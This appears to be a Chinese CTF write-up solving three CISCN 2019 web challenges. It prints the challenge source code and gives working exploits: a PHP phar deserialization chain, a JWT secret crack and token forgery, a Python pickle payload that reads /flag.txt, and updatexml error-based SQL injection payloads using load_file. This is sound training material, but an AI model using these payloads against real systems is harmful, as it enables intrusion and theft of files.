CISCN2019 华北赛区 Day1 Web1-Dropbox 在download.php下下载到源码,filename=../../download.php
,需要返回两级是因为一般下载目录都不是根目录,具体往下几级就fuzz就好了,不会太多的。
download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php session_start(); if (!isset ($_SESSION['login' ])) { header("Location: login.php" ); die (); } if (!isset ($_POST['filename' ])) { die (); } include "class.php" ;ini_set("open_basedir" , getcwd() . ":/etc:/tmp" ); chdir($_SESSION['sandbox' ]); $file = new File(); $filename = (string) $_POST['filename' ]; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag" ) === false ) { Header("Content-type: application/octet-stream" ); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist" ; } ?>
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start(); if (!isset ($_SESSION['login' ])) { header("Location: login.php" ); die (); } ?> <!DOCTYPE html> <html> <meta charset="utf-8" > <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" > <title>网盘管理</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet" > <link href="static/css/panel.css" rel="stylesheet" > <script src="static/js/jquery.min.js" ></script> <script src="static/js/bootstrap.bundle.min.js" ></script> <script src="static/js/toast.js" ></script> <script src="static/js/panel.js" ></script> </head> <body> <nav aria-label="breadcrumb" > <ol class="breadcrumb"> <li class="breadcrumb-item active">管理面板</li> <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li> <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li> </ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div> <?php include "class.php" ;$a = new FileList($_SESSION['sandbox' ]); $a->Name(); $a->Size(); ?>
看到有序列化内容,肯定要看看class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting(0 ); $dbaddr = "127.0.0.1" ; $dbuser = "root" ; $dbpass = "root" ; $dbname = "dropbox" ; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct () { global $db; $this ->db = $db; } public function user_exist ($username) { $stmt = $this ->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt->bind_param("s" , $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username, $password) { if ($this ->user_exist($username)) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt->bind_param("ss" , $username, $password); $stmt->execute(); return true ; } public function verify_user ($username, $password) { if (!$this ->user_exist($username)) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt->bind_param("s" , $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset ($expect) && $expect === $password) { return true ; } return false ; } public function __destruct () { $this ->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct ($path) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir($path); $key = array_search("." , $filenames); unset ($filenames[$key]); $key = array_search(".." , $filenames); unset ($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this ->files, $file); $this ->results[$file->name()] = array (); } } public function __call ($func, $args) { array_push($this ->funcs, $func); foreach ($this ->files as $file) { $this ->results[$file->name()][$func] = $file->$func(); } } public function __destruct () { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result) { $table .= '<tr>' ; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table; } } class File { public $filename; public function open ($filename) { $this ->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true ; } else { return false ; } } public function name () { return basename($this ->filename); } public function size () { $size = filesize($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i++) $size /= 1024 ; return round($size, 2 ).$units[$i]; } public function detele () { unlink($this ->filename); } public function close () { return file_get_contents($this ->filename); } } ?>
因为有提示是phar,所以直接放弃看sql部分,解题的最后一部分应该是调用File类中的close方法来读取文件,所以可以修改一下这个FIle类的属性为flag,调用File的地方就在前面的FileList的__construct方法,所以建立一个FileList就可以了,但是没有调用close方法,寻找一下在User进行了调用,所以我们建立一个User并把FileList赋值给db就可以了
大致的构造链
1 User->db->FileList->File->close
这里没有传值的地方所以我们用phar,payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class User { public $db; } class FileList { private $files; public function __construct () { $this ->files=array (new File()); } } class File { public $filename='/flag.txt' ; } $b=new FileList(); $c=new User(); $c->db=$b; $phar = new Phar('jn.phar' ); $phar->startBuffering(); $phar->addFromString('test.txt' , 'text' ); $phar->setStub('<?php __HALT_COMPILER(); ? >' ); $phar->setMetadata($c); $phar->stopBuffering(); ?>
最后把后缀修改一下上传,然后去delete.php删除就可以完成构造了,因为delete.php有单独构造File类。
Day1 Web2 ikun 先注册登陆一个账号,登陆后发现cookie里有一个jwt,之后会用到
拿到题目先观察一遍,发现了
以及后面的购买,应该是需要购买v6,但是翻了几页发现这里的产品非常多,所以写一个脚本来查找v6
1 2 3 4 5 6 7 8 import requestsurl = 'http://9eb91dcd-dacb-416e-bcef-f3537050360d.node3.buuoj.cn/shop?page=' for i in range(1 ,2000 ): res = requests.get(url+str(i), timeout=(3 , 7 )) if 'lv6.png' in res.text: print("这里:" +str(i)) break
最后在181页找到了,点击buy,就发送到了购物车,但是这个价格我们买不起,直接修改价格是不可行的,但是我们可以修改折扣力度。
返回
这时候想到一开始看到的jwtcookie,所以先来爆破一下密钥
使用这个脚本https://github.com/brendan-rius/c-jwt-cracker,git clone之后make一下就好了
1 ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.B-OZYHuG5HRg_eOm_FujDz6VVR6xpA1ENW4jZ5D4qxo
得到密钥1Kun
再使用jwt解密加密脚本,如下
jwt解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import jwtjwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.B-OZYHuG5HRg_eOm_FujDz6VVR6xpA1ENW4jZ5D4qxo" token = '1Kun' data = None try : data = jwt.decode(jwt_token, token, algorithms=['HS256' ]) except Exception as e: print(e) print(data)
jwt加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import timeimport jwttoken_dict = { 'username' : 'admin' } """payload 中一些固定参数名称的意义, 同时可以在payload中自定义参数""" headers = { 'alg' : "HS256" , } """headers 中一些固定参数名称的意义""" jwt_token = jwt.encode(token_dict, "1Kun" , algorithm="HS256" , headers=headers ).decode('ascii' ) print(jwt_token)
加密完之后替换cookie,就进入admin页面了。
查看源代码发现有源码给,下载下来审计
在views/Admin.py
内存在反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import tornado.webfrom sshop.base import BaseHandlerimport pickleimport urllibclass AdminHandler (BaseHandler) : @tornado.web.authenticated def get (self, *args, **kwargs) : if self.current_user == "admin" : return self.render('form.html' , res='This is Black Technology!' , member=0 ) else : return self.render('no_ass.html' ) @tornado.web.authenticated def post (self, *args, **kwargs) : try : become = self.get_argument('become' ) p = pickle.loads(urllib.unquote(become)) return self.render('form.html' , res=p, member=1 ) except : return self.render('form.html' , res='This is Black Technology!' , member=0 )
非常的明了,我们传参数become为一个反序列化值就好了
payload
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibclass payload (object) : def __reduce__ (self) : return (eval, ("open('/flag.txt','r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print(a)
这里为什么要使用eval为什么不用os.system是因为源文件没有引用执行不了
点击一键成为大会员,然后抓包,修改become的值
就可以反序列化成功拿到flag了。
Day1 Web5 CyberPunk 源码 源代码提示,直接伪协议读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php ini_set('open_basedir' , '/var/www/html/' ); $file = (isset ($_GET['file' ]) ? $_GET['file' ] : null ); if (isset ($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file)) { echo ('no way!' ); exit ; } @include ($file); } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>index</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class="container"> <h2>2077 发售了,不来份实体典藏版吗?</h2> <img class="logo" src="./assets/img/logo-en.png"><!--LOGOLOGOLOGOLOGO--> <div class="row"> <div class="col-md-8 col-md-offset-2 centered"> <h3>提交订单</h3> <form role="form" action="./confirm.php" method="post" enctype="application/x-www-urlencoded" > <p> <h3>姓名:</h3> <input type="text" class="subscribe-input" name="user_name"> <h3>电话:</h3> <input type="text" class="subscribe-input" name="phone"> <h3>地址:</h3> <input type="text" class="subscribe-input" name="address"> </p> <button class='btn btn-lg btn-sub btn-white' type="submit">我正是送钱之人</button> </form> </div> </div> </div> </div> <div id="f" > <div class="container"> <div class="row"> <h2 class="mb">订单管理</h2> <a href="./search.php" > <button class="btn btn-lg btn-register btn-white" >我要查订单</button> </a> <a href="./change.php" > <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button> </a> <a href="./delete.php" > <button class="btn btn-lg btn-register btn-white" >我不想要了</button> </a> </div> </div> </div> <script src="assets/js/jquery.min.js" ></script> <script src="assets/js/bootstrap.min.js" ></script> <script src="assets/js/retina-1.1.0.js" ></script> <script src="assets/js/jquery.unveilEffects.js" ></script> </body> </html> <!--?file=?-->
Confirm.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php require_once "config.php" ;if (!empty ($_POST["user_name" ]) && !empty ($_POST["address" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $address = $_POST["address" ]; $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if ($fetch->num_rows>0 ) { $msg = $user_name."已提交订单" ; }else { $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)" ; $re = $db->prepare($sql); $re->bind_param("sss" , $user_name, $address, $phone); $re = $re->execute(); if (!$re) { echo 'error' ; print_r($db->error); exit ; } $msg = "订单提交成功" ; } } else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>确认订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class="container"> <img class="logo" src="./assets/img/logo-zh.png"> <div class="row"> <div class="col-md-8 col-md-offset-2 centered"> <?php global $msg; echo '<h2 class="mb">' .$msg.'</h2>' ;?> <a href="./index.php" > <button class ='btn btn -lg btn -sub btn -white '>返回</button > </a > </div > </div > </div > </div > <div id="f"> <div class="container"> <div class="row"> <p style="margin:35px 0;" ><br></p> <h2 class="mb">订单管理</h2> <a href="./search.php" > <button class="btn btn-lg btn-register btn-white" >我要查订单</button> </a> <a href="./change.php" > <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button> </a> <a href="./delete.php" > <button class="btn btn-lg btn-register btn-white" >我不想要了</button> </a> </div> </div> </div> <script src="assets/js/jquery.min.js" ></script> <script src="assets/js/bootstrap.min.js" ></script> <script src="assets/js/retina-1.1.0.js" ></script> <script src="assets/js/jquery.unveilEffects.js" ></script> </body> </html>
Search.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php require_once "config.php" ; if (!empty ($_POST["user_name" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); if (!$row) { echo 'error' ; print_r($db->error); exit ; } $msg = "<p>姓名:" .$row['user_name' ]."</p><p>, 电话:" .$row['phone' ]."</p><p>, 地址:" .$row['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>搜索</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2 centered"> <p style="margin:35px 0;" ><br></p> <h1>订单查询</h1> <form method="post" > <p> <h3>姓名:</h3> <input type="text" class="subscribe-input" name="user_name"> <h3>电话:</h3> <input type="text" class="subscribe-input" name="phone"> </p> <p> <button class='btn btn-lg btn-sub btn-white' type="submit">查询订单</button> </p> </form> <?php global $msg; echo '<h2 class="mb">' .$msg.'</h2>' ;?> </div> </div> </div> </div> <div id="f" > <div class="container"> <div class="row"> <p style="margin:35px 0;" ><br></p> <h2 class="mb">订单管理</h2> <a href="./index.php" > <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href="./change.php"> <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button> </a> <a href="./delete.php" > <button class="btn btn-lg btn-register btn-white" >我不想要了</button> </a> </div> </div> </div> <script src="assets/js/jquery.min.js" ></script> <script src="assets/js/bootstrap.min.js" ></script> <script src="assets/js/retina-1.1.0.js" ></script> <script src="assets/js/jquery.unveilEffects.js" ></script> </body> </html>
Change.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 <?php require_once "config.php" ;if (!empty ($_POST["user_name" ]) && !empty ($_POST["address" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $address = addslashes($_POST["address" ]); $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address' ]."' where `user_id`=" .$row['user_id' ]; $result = $db->query($sql); if (!$result) { echo 'error' ; print_r($db->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>修改收货地址</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2 centered"> <p style="margin:35px 0;" ><br></p> <h1>修改收货地址</h1> <form method="post" > <p> <h3>姓名:</h3> <input type="text" class="subscribe-input" name="user_name"> <h3>电话:</h3> <input type="text" class="subscribe-input" name="phone"> <h3>地址:</h3> <input type="text" class="subscribe-input" name="address"> </p> <p> <button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button> </p> </form> <?php global $msg; echo '<h2 class="mb">' .$msg.'</h2>' ;?> </div> </div> </div> </div> <div id="f" > <div class="container"> <div class="row"> <p style="margin:35px 0;" ><br></p> <h2 class="mb">订单管理</h2> <a href="./index.php" > <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href="./search.php"> <button class="btn btn-lg btn-register btn-white" >我要查订单</button> </a> <a href="./delete.php" > <button class="btn btn-lg btn-register btn-white" >我不想要了</button> </a> </div> </div> </div> <script src="assets/js/jquery.min.js" ></script> <script src="assets/js/bootstrap.min.js" ></script> <script src="assets/js/retina-1.1.0.js" ></script> <script src="assets/js/jquery.unveilEffects.js" ></script> </body> </html>
Delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php require_once "config.php" ;if (!empty ($_POST["user_name" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); $result = $db->query('delete from `user` where `user_id`=' . $row["user_id" ]); if (!$result) { echo 'error' ; print_r($db->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>删除订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class="container"> <div class="row"> <div class="col-md-8 col-md-offset-2 centered"> <p style="margin:35px 0;" ><br></p> <h1>删除订单</h1> <form method="post" > <p> <h3>姓名:</h3> <input type="text" class="subscribe-input" name="user_name"> <h3>电话:</h3> <input type="text" class="subscribe-input" name="phone"> </p> <p> <button class='btn btn-lg btn-sub btn-white' type="submit">删除订单</button> </p> </form> <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">' .$msg.'</h2>' ;?> </div> </div> </div> </div> <div id="f" > <div class="container"> <div class="row"> <h2 class="mb">订单管理</h2> <a href="./index.php" > <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href="./search.php"> <button class="btn btn-lg btn-register btn-white" >我要查订单</button> </a> <a href="./change.php" > <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button> </a> </div> </div> </div> <script src="assets/js/jquery.min.js" ></script> <script src="assets/js/bootstrap.min.js" ></script> <script src="assets/js/retina-1.1.0.js" ></script> <script src="assets/js/jquery.unveilEffects.js" ></script> </body> </html>
Config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ini_set("open_basedir" , getcwd() . ":/etc:/tmp" ); $DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" ); $db = new mysqli($DATABASE['host' ],$DATABASE['username' ],$DATABASE['password' ],$DATABASE['dbname' ]);
解题过程 在看完了源码之后想到应该是sql注入,看Confirm.php中的插入语句可以发现防护还是比较严格的,绕过比较难,但是只有对于user_name
和phone
的过滤,address并没有过滤可以插入。但是这里不构成sql注入,因为使用了bind_param
进行插入数据。参考链接:bind_param防止sql注入
1 2 3 if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }
这时候我们 需要另外的地方来实现我们的注入,在fuzz的时候我发现如果在首页地址处插入了'
,在修改地址处就会出现报错,所以应该是一个报错注入,报错注入可以移步: sql报错注入:extractvalue、updatexml 仔细查看Change.php后发现问题所在:
1 $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address' ]."' where `user_id`=" .$row['user_id' ];
这个是修改的语句,会读取出原先输入的地址,单引号闭合就产生了注入。所以我们构造语句为
1 1 ' where `user_id` = updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
因为这个注入的特殊性,完成一次注入之后先删除订单,再来重新创建订单就好了
大致的方法如下:创建订单->地址改成payload->修改订单地址随便填->完成注入->删除订单
flag其实不在数据库中,在/flag.txt中,最终的读取:
1 2 3 1 ' where `user_id` = updatexml(1,concat(0x7e,(select substr(load_file(' /flag.txt'),1,20)),0x7e),1)# 1' where `user_id` = updatexml(1 ,concat(0x7e ,(select substr(load_file('/flag.txt' ),21 ,50 )),0x7e ),1 )